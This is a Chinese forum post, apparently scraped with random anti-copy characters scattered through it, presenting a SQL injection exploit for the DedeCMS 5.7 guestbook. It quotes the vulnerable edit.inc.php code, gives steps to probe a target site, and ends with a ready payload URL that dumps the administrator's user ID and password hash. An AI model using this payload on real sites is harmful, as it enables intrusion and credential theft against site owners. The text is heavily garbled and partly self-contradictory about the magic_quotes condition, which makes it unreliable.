dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
2 P6 G) u, ]/ M# E
$ b! Z+ c* a% l, ]7 _漏洞文件edit.inc.php具体代码：
1 |2 |& _& C  ~' e
< ?php  

' K: L; X0 S% kif(!defined('DEDEINC')) exit('Request Error!');  

   
* x* ^% _/ |+ D0 m$ S* u* N
3 z  X! w  \- U, Vif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

0 r# ~+ L- h) Z% }else $GUEST_BOOK_POS = "guestbook.php";  

! U# o$ i2 f( Z   

- B+ {* z& O4 c, k$ j# J  {$id = intval($id);  
5 p! u3 |- U" i/ b$ n6 J2 L+ i& n
if(empty($job)) $job='view';  

& X6 ^5 w( c. R4 \   
+ n& t' m5 n) d- L' K
if($job=='del' && $g_isadmin)  
7 r, G' _! d) ]; d' o/ a
{  

" P9 y4 t* W( R8 v2 t% u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

" @6 s. p# L7 F* j7 C3 h8 ]- U- CShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
8 P: W1 G* b  }
exit();  
" h1 x* s9 l( K/ N7 g& C- \
- D. z' L) B. k. g}  
8 T- ~0 R  N2 `' b7 M5 e) a
else if($job=='check' && $g_isadmin)  

{  
* T0 P) w2 t' r! N! O7 n
: G$ d: }) h5 y% s" {& j$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
5 O* o$ s# ^0 I0 X
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
! w* `; V8 u, V! k5 X' Y7 ?) X
  c/ B. G; R# o: e+ Lexit();  
! w2 B+ }7 d4 ], {6 n
}  

else if($job=='editok')  

, I' ~$ {( M+ z8 K8 z3 F3 }& q{  
3 r# H& s4 W4 p" Y8 E/ M; e
$remsg = trim($remsg);  
/ ]1 D( w: \0 `3 P' ^( I
6 u5 f5 Q) l+ i+ n  b( tif($remsg!='')  
7 q% \! Y, Y+ N1 E0 Q" i
{  
9 Y6 U4 _) E2 A( j; F4 v# S( D
  x: M2 C% R' R5 G, Q. J//管理员回复不过滤HTML By:Errorera blog:errs.cc  
3 s6 Y& V  T2 D& {' l8 H+ ~& @8 z
+ \! E$ p: c" M7 E) a  ~1 p; w9 jif($g_isadmin)  
. Y6 d( v! C9 ^7 T( C
3 c3 k" c- v+ b! R1 E7 T{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

8 B9 P8 D# a6 ~+ Ielse
- y' k9 C4 d$ o& x
5 P, q% A6 u" W: |; o+ ^/ _* i{  
* w/ j2 N# b/ ?$ g! I
- h  U) W* N! @& @8 l7 w$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
+ ]  Z6 x. \( }! n
6 q0 G- b, R/ ]& G' A$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
) a& H* i" \# Z) n) A2 P9 i8 H
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& K- b; y8 D1 g( H! T
$msg = $oldmsg.$remsg;  

}  

5 }4 K" H  ]' C5 K; K0 {4 r}  

$ s2 f1 b8 K, P! I+ J* w! V//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

; f2 S9 u6 _5 ]3 Y9 w$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

2 h" S+ o$ K! S- B4 cShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

! r* r( C1 }, T5 s1 `: Gexit();  

9 w: L9 x. y' s}  
) n* B' X& W! x4 h6 ^! V7 b% V
//home:www.errs.cc  
: C* V5 F! E: a9 U
if($g_isadmin)  
# p5 c5 }; X: V; {! x9 w% X* {
{  
$ C/ f9 n2 r. i
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 b% ^$ }3 v% [# f
+ [+ E4 A9 G  E% W* {. _! ~require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

& U- R$ n) k. T( d3 B8 ]5 x}  
$ L# h2 w5 N0 X4 ^% B
; k; w& P1 W9 v9 T1 n) d% |8 Kelse
" F% x% v  e7 H% _+ F/ L
{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

, y3 l7 M! ~7 ^} 漏洞成功需要条件：
( L2 b' ^( }+ i) q& |# C9 L1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
, b4 v) `& I* A6 V% P0 q
怎么判断是否存在漏洞：
3 W& b8 }! n% ]9 u% M" {; @先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
- u6 `$ w3 x8 e! N6 x访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
8 K8 u" ^' E+ \7 ~6 w% I跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
5 j/ B) {  g4 F3 _8 G: \$ h
  r% T- P! ?: J# m- z* jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
' t; w$ h1 h6 i' {, W7 q
大概利用就是这样，大家有兴趣的多研究下！！
( x! m  f1 i- ?* l( ]$ S
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
4 }/ P* T: t! B. O6 Q9 D+ t
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='